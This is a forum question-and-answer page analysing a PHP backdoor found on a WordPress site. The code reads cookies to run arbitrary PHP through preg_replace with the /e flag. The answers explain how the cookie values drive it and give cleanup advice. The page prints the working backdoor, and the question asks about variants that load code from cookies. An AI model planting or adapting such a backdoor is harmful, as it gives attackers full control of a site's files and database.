从cookie执行PHP代码

Question

I've found out such interesting code:

class PluginJoomla {
    public function __construct() {
        $jq = @$_COOKIE['ContentJQ3'];
        if ($jq) {
            $option = $jq(@$_COOKIE['ContentJQ2']);
            $au=$jq(@$_COOKIE['ContentJQ1']);
            $option("/438/e",$au,438); die();
        }
        else
            phpinfo();die;
    }
}
$content = new PluginJoomla;

It was a part of WordPress website, so ignore the class name. As you can see the $jq variable gets it's value from some Cookie file. Later it seems to be treated like a function:

$jq(@$_COOKIE['ContentJQ2']);

As you can see here, it is a quite basic PHP thing with using Variable functions ( https://php.net/manual/en/functions.variable-functions.php ).

Later $jq variable function returns a function for $option variable and string for $au variable:

$option = $jq(@$_COOKIE['ContentJQ2']);
$au=$jq(@$_COOKIE['ContentJQ1']);
$option("/438/e",$au,438);

So, I have got a question, is it possible to do the same, but with executing a PHP code from Cookie file (considering not only exec() function, but also including such file with require() or using ob_start() and ob_get_clean())?

Also what do you think about the code itself, is it some kind of virus or malware?

Answer 1

It is most definitely a malicous script. Let me guess, you found it in /wp-content/uploads/gravity_forms/... ? That's where I found it at a dozen sites where my customers did not update their gravity forms installation. (Luckily /wp-content/uploads/*.php is blocked at my servers.)

"$option("/438/e",$au,438);" means execute $au when $option is preg_replace, because of the /e flag.

With $_COOKIE['ContentJQ3']="base64_decode", $_COOKIE['ContentJQ1']=base64("preg_replace") and $_COOKIE['ContentJQ2']=base64("arbitrary_php_code();"), this in the end executes any php code the hacker likes. It can then be used to download ANY file from your filesystem (that PHP can access; remember open_basedir), do anything you like with your database.

If you find this file on your filesystem, please check your access log to see if you're hacked. If you can't prove you're not, please consider your website compromised.

Answer 2

It's malicious all right! AVG identifies that as Linux/Roopre and it's bad news because, as @Geeklab has pointed out, it can execute anything in the context of your WP site.